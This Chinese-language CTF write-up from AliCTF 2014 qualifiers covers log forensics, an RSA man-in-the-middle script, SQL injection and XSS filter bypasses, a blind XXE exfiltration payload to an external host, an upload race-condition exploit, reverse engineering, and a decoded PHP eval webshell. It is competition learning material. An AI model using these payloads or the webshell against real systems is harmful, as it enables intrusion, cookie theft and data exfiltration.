[CTF]AliCTF-Quals-2014-L-Writeup

By Zing - 2014-09-25

::L Team:: http://l-team.org


0x00 Trend

img

0x01 BigData

BigData-100

一名员工通过内网web服务入侵了某台服务器,植入了webshell。
现在需根据该台服务器的web访问日志确认webshell事件id行数并取和。
例如日志中有问题的事件id行数分别为 1、3、19,那么flag即为 23 。
题目下载地址:点击下载

前期判断不同的UA和URL,统计请求次数找到一个奇怪的access4.jsp,提交不对,正常是aspx,又grep了下是否有php,发现有php记录,剔除bot,发现plus的shell:config1.php

img

要计算和,写了个简单的脚本

a=0
while read var
do
     a=`expr $a + $var`
done
echo $a

img


BigData-200

Alice和Bob通过一台代理服务器使用某种协议进行通信,而黑客Mallory攻击了这台服务器,Mallory可以截取到所有Alice和Bob发送的消息。
Mallory截取某一方发送的消息后,他可把消息直接转发给另一方,也可以伪造一条消息发给另一方。
听说最近Alice会向Bob汇一笔钱,可是Alice并不知道Bob的银行账号,所以Alice决定通过代理服务器询问Bob。Mallory产生了邪恶的想法,他希望Alice把钱都汇到他的银行账号mallory@mallory.com上。
wiki链接Mallory正要凑钱去参加AliCTF,你能帮帮他么?
connect data200.alictf.com 30000
hint: wiki链接

连接服务器,观察到双方通信内容(均按2或1进行直接转发):

Alice said: Hey,Bob!
Bob said: Yes
Alice said: Let's encrypt with rsa,my public key is (11316499 , 65537)
Bob said: OK,my public key is (9204067 , 65537)

接着就是被加密的信息,继续转发两次后gameover退出.
从观察到的通信内容可以得知:

1、双方使用了RSA来加密通信内容

2、双方使用的RSA公钥的N很小,可以被分解,从而得到私钥

破解出双方的RSA私钥可以得到后续通信内容:

Alice said: What's your account?
Bob said: My account is bob@bob.com

根据题目意思,替换了Bob的邮箱为mallory@mallory.com(这里吐槽下大小写敏感)然后用Alice公钥加密后发回去.

原本以为可以拿key走人了,结果又收到一段来自Alice的新信息,拿刚才破解出的Bob私钥解密后得到:

Alice said: Let's encrypt with rsa,my public key is (8965793 , 65537)

看起来发生了新一轮的公钥交换,于是按2转发,结果直接gameover.

尝试后发现这里只有按4修改后转发才行,把第一轮收到的公钥交换信息发回去吧,信息操作过程如下:

Alice said: Let's encrypt with rsa,my public key is ( 8965793 , 65537 )  (drop by mallory)
Mallory said: Let's encrypt with rsa,my public key is ( 12137569 , 65537 )
Bob said: OK,my public key is ( 11316499 , 65537 )  (drop by mallory)
Mallory said: OK,my public key is ( 11316499 , 65537 )

接着拿新交换的公钥解出新私钥,再解出接下来的明文:

Alice said: What's your account?
Bob said: My account is bob@bob.com

于是用老方法替换邮箱,本以为这下可以拿key了,结果又出来一个新的公钥交换过程...

总结下得到的信息,可以推测出协议流程大概是这样的:

img

...

可以推测协议结束后应该会产生包含flag信息的内容.

每轮公钥交换大致如下,这是第二轮到第三轮的密钥交换

img

因此可以设计出能够攻破该协议的MITM攻击.

攻击过程通项为

img

根据攻击过程写出攻击脚本,逐步试验公钥交换轮数N的大小,最后可以知道N=50,flag在其后以明文消息的方式给出

脚本如下:

import socket
import math
from string import *

def exeuclid(a,b):
    if b == 0:
        return 1 , 0 , a;
    else:
        x,y,q = exeuclid(b,a%b);
        x,y = y,(x-a/b*y);
        return x,y,q;

def getpq(x):
    for i in xrange(2, int(math.sqrt(x))+1):
        if x % i == 0:
            return i, x/i

def getprikey(e,n):
    p, q=getpq(n)
    d,x,y=exeuclid(e,(p-1)*(q-1))
    if d<0:
        d=(p-1)*(q-1)+d
    return d, n

def decrypt(c,d,n):
    m=pow(c,d,n)
    return m

def encrypt(m,e,n):
    c=pow(m,e,n)
    return c

def reciveanddecrypt(key=()):
    s = sock.recv(1024)
    s = split(s,'\n')[2]
    s = s[5:len(s)-3]
    cl = s.split(',')
    s1=''
    for x in cl:
        if key == ():
            s1 = s1 + chr(int(x))
        else:
            s1 = s1 + chr(decrypt(int(x),key[0],key[1])) 
    return s1

def encryptandsend(msg,n):
    s1='Start'
    for x in msg:
        s1 = s1+str(encrypt(ord(x),65537,n))+','
    s1=s1[:len(s1)-1]+'End'
    sock.send(s1)
    print 'Mallory said:', msg
    return 0

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('data200.alictf.com', 30000))

#--init--

s = sock.recv(1024)
s = split(s,'\n')[8]
s = s[5:len(s)-3]
cl = s.split(',')
s1=''
for x in cl:
    s1 = s1 + chr(int(x))
print 'Alice said:', s1
sock.send('2')
s = sock.recv(1024)
s = split(s,'\n')[2]
s = s[5:len(s)-3]
cl = s.split(',')
s1=''
for x in cl:
    s1 = s1 + chr(int(x))
print 'Bob said:', s1
sock.send('1')

#first rsa key exchange

print 'No. ', 1,' RSA public key exchange'
s1 = reciveanddecrypt()
print 'Alice said:', s1
s1_bak = s1[:]                      #preserve Alice's first rsa key message for later use
s1 = s1[41:len(s1)-2]
n1=int(split(s1,',')[0])
prikey1=getprikey(65537,n1)         #calculate Alice's private key
sock.send('2')                      #send it to Bob

s2 = reciveanddecrypt()
print 'Bob said:', s2
s2_bak = s2[:]                      #preserve Bob's first rsa key message for later use
s2 = s2[21:len(s2)-2]
n2=int(split(s2,',')[0])
prikey2=getprikey(65537,n2)         #preserve Bob's first rsa key message for later use
sock.send('1')                      #send it to Alice

s1 = reciveanddecrypt(prikey2)
print 'Alice said:', s1
sock.send('2')

s1 = reciveanddecrypt(prikey1)
print 'Bob said:', s1,' (drop by mallory)'

msg='My account is mallory@mallory.com' #mallory@mallory.com
sock.send('3')
encryptandsend(msg,n1)

nn1 = n1
nn2 = n2
for i in xrange(49):
    #second and another rsa key exchange
    print 'No. ', i+2,' RSA public exchange'
    s1 = reciveanddecrypt(prikey2)
    print 'Alice said:', s1,' (drop by mallory)'
    sock.send('4')                      #send Alice's old public key to Bob
    encryptandsend(s1_bak,nn2)          #use Bob's old public key to encrypt

    s2 = reciveanddecrypt(prikey1)
    print 'Bob said:', s2,' (drop by mallory)'
    sock.send('3')                      #send Bob's old public key to Alice
    encryptandsend(s2_bak,nn1)          #use Alice's old public key to encrypt

    s1 = s1[41:len(s1)-2]
    nn1=int(split(s1,',')[0])
    nprikey1=getprikey(65537,nn1)       #calculate Alice's new private key
    s2 = s2[21:len(s2)-2]
    nn2=int(split(s2,',')[0])
    nprikey2=getprikey(65537,nn2)       #calculate Bob's new private key

    s1 = reciveanddecrypt(prikey2)      #use Alice's old private key to decrypt
    print 'Alice said:', s1,' (drop by mallory)'
    sock.send('4')                      
    encryptandsend(s1,nn2)              #use Bob's new public key to encrypt

    s1 = reciveanddecrypt(prikey1)      #use Bob's old private key to decrypt
    print 'Bob said:', s1,' (drop by mallory)'    
    msg='My account is mallory@mallory.com' #mallory@mallory.com
    sock.send('3')
    encryptandsend(msg,nn1)             #use Alice's new public key to encrypt


print sock.recv(1024)
sock.close()

ps:事实上,还存在着其他攻击方式,如先生成一个公-私钥对,在第一轮公钥交换的时候即以自己的公钥去替换二者的公钥,就可以省去破解私钥以观察二者通信流量过程.可惜的是,由于题目程序的限制,若在第一轮公钥交换的时候使用3和4来替换流量,则会直接gameover.


0x02 WEB-A

WebA-100

从登录开始吧
hint:手注帝在哪里?
http://web100a.alictf.com/fbdd6257b154b33dc977839c3cde7d79.php

Youtube提示,打开看到绕过依靠

' '-0||' ' AND pass=xxx

群里又说不超过10位的普通万能密码,试了下这样bypass了

' || 1=1 ||'

img


WebA-200

Casper写了一个xss内联事件的防御脚本,你能绕过他发送给管理员获取管理员的cookie吗?
http://web200a.alictf.com/9ad626cab2d2d7309626e1a1ec9c1c41.php

function hookEvent(onevent) {
document.addEventListener(onevent.substr(2), function(e) {
var element = e.target;
var flags = element['_flag'];
if (!flags) {
flags = element['_flag'] = {};
}
if (typeof flags[onevent] != 'undefined') {
return;
}
flags[onevent] = true;
if (element.nodeType != Node.ELEMENT_NODE) {
return;
}
var code = element.getAttribute(onevent);
if (code && chkxss(code)) {
console.log("xss");
element[onevent] = null;
}
}, true);
}
function chkxss(code){
try{
decodecode = decodeURIComponent(code);
}catch(e){
decodecode = code;
}
var xsses = ["fromCharCode","join","concat","slice","substr","match","split","escape","encodeURI","replace","\\","eval","setTimeout","setInterval","getScript","constructor","erHTML","Attribute","unction","execScript","with","setImmediate","createElement","write","name","referer","cookie","location","click"];
for(i=0;i<xsses.length;i++){
if(decodecode.indexOf(xsses[i])>-1){
return true;
}
}
if(/(&&)|;|,|\[/.test(decodecode)&&decodecode.indexOf("+")>-1){
return true;
}
if((decodecode.indexOf("URL")>-1||decodecode.indexOf("hash"))>-1&&location.href.indexOf("#")>-1){
return true;
}
if(code.length>150){
return true;
}
if(decodecode.indexOf('open')>-1||/\Wsrc\W/.test(decodecode)){
return true;
}
return false;
}
for (var k in document) {
if (/^on/.test(k)) {
hookEvent(k);
}
}

一个前端过滤器,搜索可以看到类似的Demo.基于黑名单过滤,可以绕过.代码中并没有拦截decodeURIComponent,可以编码绕过.
之前有个try语句:

try{
decodecode = decodeURIComponent(code);
}catch(e){
decodecode = code;
}

传入code被解码一次.对其二次编码即可绕过,也可code中加入%xx等不可解码字符,使decodeURIComponent出错,catch处理不进行urldecode.

对eval也使用decodeURIComponent,在全局的函数默认是window成员,可用

window[decodeURIComponent('%65val')]()

绕过过滤

img

将其再次URL编码访问收到Cookie.

web200aflag=ALICTF{b6daff2073c78dabe09f22ac33f53823}

这里有个小插曲,提交后xss收信得到flag提交错误,这时自己本地测试发现自己客户端莫名其妙多出一个web200aflag,得知题目此时修改过,之后再次收信得到新flag.


WebA-300

就是让你看不见
http://web300a.alictf.com/48f70e5ec569b7dec86bf9e35212c7f2.php

开始感觉是XXE,回博客温习了下,试了一些Payload都没反应,无解.

后来搜下Blind XXE,看到Black-Hat 13年有个Report,后搜索到这个博客

http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html

img

又得到Wooyun上鲜果网的一个实现,测试

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM    "http://xxx/xxe/flag.xml">
%remote;
]>

看到日志了,用file://读不到文件,以php://filter读,请求写的一个log.php

<?php
$log=$_GET['c'];
file_put_contents('233.txt',$log);
?>

img

解码得到flag


WebA-400

Casper刚学了点黑客技术,就想找个站点练练手,发现一个页面好奇怪,你能帮他一探究竟嘛?
hint:看看目录有啥?
不光要看目录有什么,想要更多信息也要多看看Github哦。
请按照x64的方式去思考做题。
http://web400a.alictf.com/f3f4d762e85fa426dd926629bff7788b.php

请求页面抓包,可以看到Upload表单

<form action="http://web400a.alictf.com/f3f4d762e85fa426dd926629bff7788b.php" method="post"enctype="multipart/form-data">
<label for="file">hi</label><br />
<input type="file" name="file" id="file">
<input type="submit" name="submit" value="Submit">
</form>

随便上传一个文件,问是否存在这个文件,并给出地址(当前时间:年月日时分秒)如20140921154012.php,当然手工请求是404了,猜想可能上传后被删掉,测试脚本一直检查果然是这样.

使用Burp开Instruder持续发包请求,然后写脚本查看返回:

#!/usr/bin/python

import time
import requests

while 1:
    url = "http://web400a.alictf.com/upload/upload/"
    now = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    url = url + str(now) + ".php"
    res = requests.get(url)
    print res.status_code
    if res.status_code == 200:
        print res.text
    time.sleep(0.3)

读取到题目页面内容

img

<? php
header("Location:http://security.alibaba.com");
if($_FILES["file"]["error"] > 0){
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}else{
$name = date('YmdHis');
$uploaddir = '/home/wwwroot/default/upload/upload/';
$uploadfile = $uploaddir . $name . '.php';
if(move_uploaded_file($_FILES["file"]["tmp_name"], $uploadfile)){
    echo "upload/upload/". $name . ".php file Exist?";
}else{
echo "";
}
sleep(3);
#   unlink($uploadfile);
}
?>
\<!--
@author:nidongde
\-->
<form action="f3f4d762e85fa426dd926629bff7788b.php" method="post"enctype="multipart/form-data">
<label for="file">hi</label><br />
<input type="file" name="file" id="file">
<input type="submit" name="submit" value="Submit">
</form>

LNMP环境,读到PHP.ini,禁用很多函数,不过可以列目录读文件就够了,读文件用readfile,列目录用

<?php $dir = opendir('./../');while (($file = readdir($dir)) !== false){ echo  $file.'<br />';}closedir($dir);?>

在上一层upload目录读到别家孩子的shell,以及持续删文件的lalala.py脚本,连上shell在网站根目录下载到一个压缩包,根据时间判断不是熊孩子在作怪

img

下载后解压又需要密码,试了几个无果就放一边了,第二天看到Hint,说目录以及Github,正好web400b的日志里有很多目录,对比尝试后找到这个奇葩账号

img

以为是key,提交为错,想起是解压密码,解压文件,得到一个index.php源码和.DS_Store.(出题人压缩软件一定没设置好...建议你使用BetterZip ;)

<?php
    foreach($_REQUEST as $key => $value){
        if(eregi('^(_COOKIE|GLOBALS|_GET)', $key) || strlen($key) <= 0){
            exit('error');
        }else{
            foreach(Array('_GET', '_POST', '_COOKIE') as $_REQUEST){
                var_dump($key);
                foreach($$_REQUEST as $key => $value){
                var_dump($value);
                    $value['alibaba']['security'] = (int)$value['alibaba']['security'];
                    echo $value['alibaba']['security'];
                    echo $key;
                    if($key == '_POST' && ~$value['alibaba']['security'] == -2347230984235 && strlen($value['alibaba']['security']) >= 0){
                        find_flag($value['alibaba']['security']);
                    }else{
                        exit('error');
                    }
                }
            }
        }
    }
    function find_flag(){
    $key = 'FLAG';
        echo $key;
    }
?>
\<html>
    <body>
        <!-- http://web400b.alictf.com/alibaba_CTF_security/-->
    </body>
\</html>

首先可以知道是通过POST请求,加入以下代码测试输出,

foreach(Array('_GET', '_POST', '_COOKIE') as $_REQUEST){
    var_dump($key);
        foreach($$_REQUEST as $key => $value){
            var_dump($value);

在POST参数为_POST[alibaba][security]=xxx时可以正确赋值并满足$key == '_POST' && strlen($value['alibaba']['security']) >= 0

之后便要通过~$value['alibaba']['security'] == -2347230984235

int型在32位机器上最大为-2116126678~2147483647,肯定有绕过思路,想法是==比较过程中,左右两边类型不同会将右边的float型转换为int型,与左边的int型比较,这样可能可以Bypass,刚要测试,看到群消息说切换为64位,就赶紧秒了...

img

接着试了一下刚刚的想法,还是没通过.坐等官方的Wannabe.


WebA-500

最喜欢你们这些跨站师
http://web500a.alictf.com/e936a8a8ff906c8f057ed84bf4332585.php

Function("‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‍‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‌‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‍‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‌‍‌‌‌‍‌‌‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(u){return String.fromCharCode(parseInt(u.replace(/\u200c/g,1).replace(/\u200d/g,0),2))}))();

String.prototype.remove = function(start, length) {
var l = this.slice(0, start);
var r = this.slice(start+length);
return l+r;
}
function xescape(input) {
rawinput = input;
input = input.replace(/<([a-zA-Z])/g, '<_$1');
input = input.toUpperCase();
input = input.remove(2,1);
if(rawinput.length != input.length){input = "";}
return "<h1>"+input+"<h1>";
}
document.write(xescape(''));

<br>请使用chrome做测试,flag在管理员的cookie中<br>
<br>example:php?code=xxxxx<br>
<a href="4a924593e74f6b64d205fe248cefad33.php">url提交</a>

首先绕过

Function("xxxxx‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‍‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‌‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‍‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‌‍‌‌‌‍‌‌‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(u){return String.fromCharCode(parseInt(u.replace(/\u200c/g,1).replace(/\u200d/g,0),2))}))();

防止跳转,这里xxxxx因为之前的内容没能保存下载(出乱码了:( ),不能复现

img

函数会检查url最后是否有helloalibaba,在location.hash里加上#helloalibaba即可避免跳转.

xescape函数被官方修改过,如果传入类似a<img,第一步会被变成a<_img,remove(2,1)后删除下划线,长度没有变化,转换成大写部分使用html编码绕过.

payload:

http://web500a.alictf.com/e936a8a8ff906c8f057ed84bf4332585.php?code=a<\img src=1 onerror=&#101&#118&#97&#108&#40&#39\\144\\157\\143\\165\\155\\145\\156\\164\\56\\167\\162\\151\\164\\145\\50\\47xxxx和谐xxxx\\75\\150\\164\\164\\160\\72\\57\\57\\170\\163\\163\\141\\156xxxx和谐xxxx\\163\\143\\162\\151\\160\\164\\76\\47\\51&#39)>#helloalibaba

url编码后提交收信,得到flag.


0x03 Reverse

Reverse-100

ch1.exe会把获取到的信息加密存储到"secret.db"文件中。
找出加密的key,加密的key提交服务器即为得分的flag.
题目下载地址:点击下载

ch1.exe这个程序会搜集主机信息,OD动态调试
获取本地测试主机信息后会将主机信息和这个字符串进行加密

img

之后在函数sub_4225e0中进行加密

img

不过不需要分析加密过程了,字串

19dlo*%AO+3i87BaweTw.lc!)61K{9^5

就是flag


Reverse-200

逆向分析Ch3.exe,点击Ch3.exe上的button会得倒一个key。
程序好像有问题,请修改并给出结果。
题目下载地址:点击下载

运行Ch2.exe,同目录下的flag.crypt文件大小会从1kb变为0kb,猜想解题思路要么是程序提供解密函数需要手工定向,要么是逆向算法.

没有找到decrypt函数,猜想是要逆向算法,运行几次后发现同目录下需要有一个flag.txt,于是把flag.crypt文件修改为flag.txt,进入到encrypt函数。

在IDA Pro中定位,观察到有一些干扰指令的存在

img

用010 editor全部替换为\x90之后,IDA Pro可以显示正常的代码,F5查看反编译情况,分析后发现子函数sub_00401000中包含了加密算法

img

关键的算法只有这几行

img

用UltraEdit查看flag.crypt文件,大小为40个字节,结合算法分析,是由20个字节每个字节的高位和低位扩张得来.
还原得到flag

a1dlo3i87@vt(#$^~kb25-+8=csm,%*4

Reverse-300

逆向分析Ch3.exe,点击Ch3.exe上的button会得倒一个key。
程序好像有问题,请修改并给出结果。
题目下载地址:点击下载

X64且加了壳,网上找到UPXShell.exe把壳给脱了,在崩溃点向上找,发现一段代码:

img

很明显,程序显示加载DecryptDll.dll,然后寻找dll中的RSADecrypt函数,最后意图调用它.

但是没有DecryptDll.dll,自然就寻找不到RSADecrypt函数,就会发生一个错误的调用.

找来找去费了好长时间,就试了下是否在程序里面,果段拉进binwalk

img

提取出来后拉进IDA一看,就导出了RSADecrypt函数

img

在执行时修改下R8寄存器的值使其指向一块可写内存,调用后flag就会出现在R8寄存器指向的地方.


Reverse-400

Casper使用远控木马的控制端生成了一个木马trojan.exe。
但Casper发现这个远控木马控制端似乎有一个可疑的下载接口。
可以通过木马trojan.exe去调用这个接口下载到控制端的secret.rar文件。
让我们来尝识下载控制端的secret.rar文件吧,看看有什么秘密。
hint:如果找到下载接口,下载secret.rar不成功,可以试试连接88端口。
题目下载地址:点击下载

Reverse400费了好长时间,最后半小时才弄出来.

一开始想的太复杂,想从控制端和木马的通信协议入手,然后再分析控制端和木马对于不同数据的执行情况.结果弄了好久还是没搞太明白...

最后无耐队友建议直接修改sub_405D10函数中的case跳转试下,虽然很早就知道那条路径是处理Secret.rar文件的函数,但一直以为那是下载后的处理流程,而真正下载的流程应该在前面.谁知道竟然真的可以...

img

修改后得到Secret.rar

解压后是web发给队友,愉快的在最后45分钟收到文件.打开居然是html,看到

<?php include "img/aliyun.png" ?>

图片有内涵,得到

<?php 
$terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");$order=array(59, 71, 73, 13, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 0, 24, 72, 70, 28, 48, 19, 12, 0, 7, 5, 37, 0, 24, 88, 87, 0, 24, 72, 12, 28, 48, 19, 66, 63, 50, 5, 49, 42, 25, 37, 91, 63, 24, 90, 87, 93, 18, 87, 66, 28, 18, 45, 37, 28, 48, 19, 66, 63, 50, 5, 49, 42, 25, 37, 91, 63, 24, 90, 87, 93, 18, 87, 40, 28, 18, 17, 5, 42, 25, 37, 91, 0, 12, 25, 87, 0, 24, 72, 91, 28, 48, 19, 49, 11, 25, 37, 91, 63, 75, 68, 87, 42, 24, 60, 87, 93, 18, 87, 5, 28, 48, 19, 66, 63, 50, 5, 49, 42, 25, 37, 91, 63, 24, 90, 87, 42, 24, 60, 87, 63, 18, 58, 87, 93, 18, 0, 37, 28, 48, 19, 66, 0, 25, 37, 91, 63, 24, 90, 87, 42, 24, 60, 87, 0, 24, 72, 91, 28, 48, 19, 40, 42, 25, 5, 70, 42, 50, 5, 70, 63, 7, 37, 91, 63, 83, 68, 87, 42, 24, 60, 87, 93, 18, 11, 66, 28, 18, 81, 7, 28, 48, 19, 7, 0, 7, 37, 91, 63, 18, 43, 87, 93, 18, 81, 70, 28, 18, 17, 37, 0, 50, 37, 91, 63, 83, 63, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 0, 24, 72, 70, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 37, 0, 18, 58, 87, 63, 24, 50, 87, 0, 24, 17, 5, 28, 48, 19, 40, 63, 7, 37, 91, 63, 18, 90, 87, 63, 12, 58, 87, 93, 18, 45, 66, 28, 18, 17, 37, 63, 58, 5, 7, 0, 25, 37, 91, 63, 18, 90, 87, 63, 12, 58, 87, 93, 18, 45, 66, 28, 48, 19, 49, 63, 58, 5, 37, 0, 18, 58, 87, 93, 18, 0, 7, 28, 48, 19, 40, 11, 7, 37, 91, 63, 66, 50, 87, 93, 18, 1, 31, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 90, 87, 63, 12, 58, 87, 93, 18, 45, 66, 28, 18, 75, 49, 28, 48, 19, 12, 0, 25, 37, 91, 0, 12, 50, 87, 93, 18, 11, 37, 28, 48, 19, 7, 63, 50, 5, 70, 63, 7, 37, 91, 63, 75, 63, 87, 93, 18, 81, 70, 28, 48, 19, 40, 0, 58, 5, 70, 63, 7, 37, 91, 63, 83, 68, 87, 42, 24, 60, 87, 93, 18, 11, 66, 28, 48, 19, 66, 0, 25, 5, 91, 0, 7, 37, 91, 63, 18, 43, 87, 93, 18, 81, 70, 28, 18, 17, 37, 0, 50, 5, 70, 42, 25, 37, 91, 63, 18, 90, 87, 63, 12, 58, 87, 93, 18, 45, 66, 28, 48, 19, 40, 0, 7, 37, 91, 63, 75, 1, 87, 0, 24, 72, 70, 80, 58, 66, 3, 86, 24, 14, 19, 6, 11, 73, 73, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);
$do_me="";
for($i=0;$i<count($order);$i++)
{$do_me=$do_me.$terms[$order[$i]];}
echo $do_me;
?>

好熟悉,中间思路请参考http://drops.wooyun.org/tips/2988

自己解码也很简单,得到

if(isset($_POST["\109\x33\110\103\x44\79\x54\x74\51\x44\79\x54\x76\109\x35\108\x7A\x6B\97\x70\x44\79\x54\97\49\x31\x41\x54\97\108\x69\98\97\x62\97\x44\65\x53\x48\x69\110\x63\x44\79\x54\99\x6F\109"])) { eval(base64_decode($_POST["\109\51\110\x67\x44\79\x54\116\51\x44\79\x54\x76\109\x35\x6C\x7A\x6B\97\x70\x44\79\x54\97\x31\x31\x41\x54\97\x6C\x69\x62\97\x62\97\x44\x41\83\x48\x69\110\99\x44\79\x54\x63\x6F\109"])); }

默默的echo发现不对,颤栗的双手默默的看着解不出来的值,说好的八进制怎么会有9呢...队友说,不要太认真,把他当10进制ASCII看待吧...于是我就默默信了...

最终三个人得到不同的奇葩版本,一综合flag就有了

m3ngD0Tt3D0Tvm5lzkapD0Ta11ATalibabaa11ATalibabaDASHncD0Tcom
m3ng.t3.vm5lzkap.a11@alibabaa11@alibaba-nc.com
m3ng.t3.vm5lzkap.a11@alIbaba-inc.com
